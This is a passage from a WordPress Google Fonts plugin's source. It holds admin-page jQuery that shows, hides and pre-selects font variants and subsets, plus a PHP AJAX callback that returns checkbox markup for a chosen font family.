								hide_selected_items(parent);
							}else{
								show_selected_items(parent);
							}
							
							return false;
						});
						
						
						/* update the selections on change */
						function gf_reset_selections(fontblock, selected_font) {
							
							var name = get_normalized_name(selected_font);
							var parent = jQuery('#' + fontblock);
							var parentid = jQuery(parent).attr("id");
								
							if(selected_font != '' && selected_font != 'off'){										
								/* pre select variant and character set */
								pre_select_items(parent, name);
							}else{
								/* clear all the items and hide them */
								jQuery('#' + parentid + ' .webfonts-variants :checked').attr('checked', false);
								jQuery('#' + parentid + ' .webfonts-usage :checked').attr('checked', false);
								jQuery('#' + parentid + ' .webfonts-subsets :checked').attr('checked', false);
								jQuery('#' + parentid + '_css').val(' ');

								hide_selected_items(parent);
							}
						};
						
						function show_selected_items(parent){
							/* limit all our actions to just within this specific selection */
							var parentid = jQuery(parent).attr("id");
							jQuery('#show_hide-' + parentid ).addClass('showing');
							jQuery('#show_hide-' + parentid ).html('Hide Options');
							jQuery('#' + parentid + ' .webfonts-selections').fadeIn(500);
						}
						
						function hide_selected_items(parent){
							/* limit all our actions to just within this specific selection */
							var parentid = jQuery(parent).attr("id");
							jQuery('#show_hide-' + parentid ).removeClass('showing');
							jQuery('#show_hide-' + parentid ).html('Show Options');
							jQuery('#' + parentid + ' .webfonts-selections').fadeOut(500);
						}
						
						function get_normalized_name(name){
							return (name.replace(" ","-"));
						}
						
						function pre_select_items(parent, normalized){	
							var parentid = jQuery(parent).attr('id');
							/* select 'regular' variant if available, or only variant, or first one */
							var variants = jQuery('#' + parentid + ' .variant-' + normalized + ' .check');
							var regular = jQuery('#' + parentid + ' .variant-' + normalized + ' [value="regular"]');
							
							if(variants.size() > 1){
								if(regular.size()==1){
									regular.attr('checked',true);
								}else{
									variants.first().attr('checked',true)
								}
							}
							if(variants.size()==1){
								variants.attr('checked',true);
								variants.attr('readonly','readonly');
							}
							
							/* select latin subset if available, or only subset, or first one */
							var subsets = jQuery('#' + parentid + ' .subset-' + normalized + ' .check');
							var latin = jQuery('#' + parentid + ' .subset-' + normalized + ' [value="latin"]');
							
							if(subsets.size() > 1){
								if(latin.size()==1){
									latin.attr('checked',true);
								}else{
									subsets.first().attr('checked',true)
								}
							}
							if(subsets.size()==1){
								subsets.attr('checked',true);
								subsets.attr('readonly','readonly');
							}
							
						}
					});
				</script>
		<?php
		} //end admin_options_page
		
		// ajax handling
		function googlefont_action_callback() {
			$name = sanitize_text_field(esc_attr($_POST['googlefont_ajax_name']));
			$family = sanitize_text_field(esc_attr($_POST['googlefont_ajax_family']));
			$normalized_name = $this->gf_normalize_font_name($family);
			$variants = $this->gf_get_font_data_by_family($name, $family, 'variants');
			$subsets = $this->gf_get_font_data_by_family($name, $family, 'subsets');
			
			if(!$variants){
				$variants = '<input type="checkbox" name="'.$name.'[variants][]" value="regular" class="check '.$normalized_name.' blank"> <label>Normal 400</label>';
			}
			if(!$subsets){
				$subsets = '<input type="checkbox" name="'.$name.'[subsets][]" value="latin" class="check '.$normalized_name.' blank"> <label>Latin</label>';
			}
			
			echo $this->gf_get_font_selections($name, $variants, $subsets);
			die();
		}
		
	} //End Class
} //End if class exists statement

//instantiate the class
if (class_exists('googlefonts')) {
    $googlefonts_var = new googlefonts();
}